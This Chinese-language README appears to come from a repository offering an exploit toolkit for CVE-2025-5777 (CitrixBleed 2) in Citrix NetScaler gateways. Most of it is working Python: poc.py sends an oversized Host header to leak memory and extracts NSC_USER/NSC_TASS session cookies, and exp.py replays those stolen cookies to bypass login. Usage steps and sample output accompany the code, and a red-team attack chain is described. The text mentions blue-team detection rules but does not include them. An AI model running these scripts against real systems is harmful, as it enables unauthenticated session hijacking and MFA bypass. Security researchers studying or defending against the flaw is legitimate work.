CitrixBleed 2 (CVE-2025-5777) 内存泄漏利用框架一个针对 CVE-2025-5777 的研究级利用与防御检测框架深度剖析 Citrix NetScaler ADC/Gateway 越界内存读取漏洞。项目简介CVE-2025-5777又称CitrixBleed 2是 Citrix NetScaler ADC 和 Gateway 产品中的一个严重越界内存读取 (OOB Read)漏洞。攻击者无需任何身份验证仅通过发送一个包含超长Host头的恶意 HTTP 请求即可迫使目标设备将内核内存中的敏感数据如会话 CookieNSC_USER、NSC_TASS、SAML 状态上下文、MFA 令牌等随响应一起返回。攻击者利用泄露的会话信息可直接绕过身份验证和 MFA实现会话劫持。本项目基于对漏洞原理的深度逆向分析提供了从漏洞触发、信息泄露到会话复用的完整工具链并包含面向红队和蓝队的详尽操作手册。功能特性内存泄露利用 (PoC)发送特制的超长Host头请求触发目标设备的 OOB 内存读取并将泄露的内存数据保存为文件。会话自动提取自动从泄露的内存数据中正则匹配并提取所有NSC_*格式的会话 Cookie。会话复用验证提供独立的会话验证脚本使用泄露的NSC_USER和NSC_TASS尝试登录目标系统确认漏洞利用是否成功。红队实战链包含从资产发现、漏洞扫描、内存泄露、凭证提取到会话劫持和横向移动的完整攻击链指导。蓝队防御手册提供详细的检测方法Sigma/Suricata 规则、取证分析指南、补丁验证步骤及 WAF 加固建议。源码级机理分析深入 NetScaler 的WebProc进程处理逻辑剖析snprintf()与memcpy()在 C 语言层面的缺陷揭示漏洞根本原因。安装指南系统要求Python 3.6 或更高版本支持的操作系统Linux、macOS、Windows (WSL 推荐)依赖安装本项目依赖requests库。使用以下命令快速安装所需依赖# 克隆本仓库 (假设已获取代码)# git clone repository-url# cd repository-name# 安装 Python 依赖pipinstallrequests urllib3所有脚本均已内置禁用 SSL 警告 (urllib3.disable_warnings())以兼容存在自签名证书的测试环境。使用说明1. 内存泄露探测与利用 (PoC)使用poc.py脚本向目标网关发送恶意请求触发漏洞并保存泄露的内存数据。python3 poc.py https://target-gateway.example.com执行流程:构造包含约 24KB (0x6000 字节) 超长Host头的 GET 请求。发送请求到/nf/auth/startwebview.do端点。将服务器返回的响应内容保存为leak_output.bin。自动从响应中搜索NSC_开头的会话 Cookie 并打印。示例输出:[] Sending OOB Host header to https://target-gateway.example.com/nf/auth/startwebview.do [] Response received: 32768 bytes [] Potential session cookies found: - NSC_USERadmin - NSC_TASS7acbb35f4d8e2f1a9c6d3b8e4f2a1c7d2. 会话复用验证 (Exp)获得有效的NSC_USER和NSC_TASS值后使用exp.py脚本验证其有效性实现无需密码的登录。python3 exp.py https://target-gateway.example.comNSC_USER值NSC_TASS值示例:python3 exp.py https://target-gateway.example.com admin 7acbb35f4d8e2f1a9c6d3b8e4f2a1c7d成功标志: 脚本会访问/vpn/index.html若响应页面中包含 “Log Off” 或 “Welcome” 字样则证明会话复用成功已绕过登录验证。[] Session replay successful: login bypassed!核心代码核心利用代码 (poc.py) - 内存泄露触发器#!/usr/bin/env python3# CVE-2025-5777 CitrixBleed 2 - OOB Memory Leak PoC# ⚠️ Authorized Testing Onlyimportrequestsimportsysimportreimporturllib3 urllib3.disable_warnings()defleak_memory(target_url):# 构造恶意请求目标端点为易受攻击的 startwebview.dourltarget_url.rstrip(/)/nf/auth/startwebview.do# 超长 Host 头大小超过内部缓冲区 (0x1800)触发越界读headers{Host:A*0x6000# 24KB远超缓冲区大小}print(f[] Sending OOB Host header to{url})try:# 发送请求不验证 SSL 证书rrequests.get(url,headersheaders,verifyFalse,timeout10)exceptExceptionase:print(f[-] Request failed:{e})returnprint(f[] Response received:{len(r.content)}bytes)# 将泄露的原始内存数据保存到文件供后续深入分析withopen(leak_output.bin,wb)asf:f.write(r.content)# 在响应内容中搜索所有 NSC_ 开头的会话凭证hitsre.findall(rb(NSC_[A-Z][^;\r\n ]),r.content)ifhits:print([] Potential session cookies found:)forhitinhits:print(f -{hit.decode(errorsignore)})else:print([-] No NSC_* cookies found. Try again or validate target.)if__name____main__:iflen(sys.argv)!2:print(fUsage:{sys.argv[0]}https://target-gateway)sys.exit(1)leak_memory(sys.argv[1])会话复用验证代码 (exp.py)importrequestsimportsysimporturllib3 urllib3.disable_warnings()defvalidate_session(target,cookie_dict):# 验证会话是否有效的端点urltarget.rstrip(/)/vpn/index.htmltry:# 使用泄露的 Cookie 发起请求rrequests.get(url,cookiescookie_dict,verifyFalse,timeout8)# 检测响应中是否存在登录后的特征字符串ifLog Offinr.textorWelcomeinr.text:print([] Session replay successful: login bypassed!)else:print([-] Session invalid or expired.)exceptExceptionase:print(f[-] Failed:{e})if__name____main__:iflen(sys.argv)!4:print(fUsage:{sys.argv[0]}https://target NSC_USER_val NSC_TASS_val)sys.exit(1)# 将从内存泄露中提取的 Cookie 组装成字典cookie{NSC_USER:sys.argv[2],NSC_TASS:sys.argv[3]}validate_session(sys.argv[1],cookie)FINISHED 6HFtX5dABrKlqXeO5PUv/BTcuIMkX4UpCaHKIq0yDahaZlXLP9WOrXw/pNPyn29tG4zohbGmyxbhFKPq2HQ更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手 对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享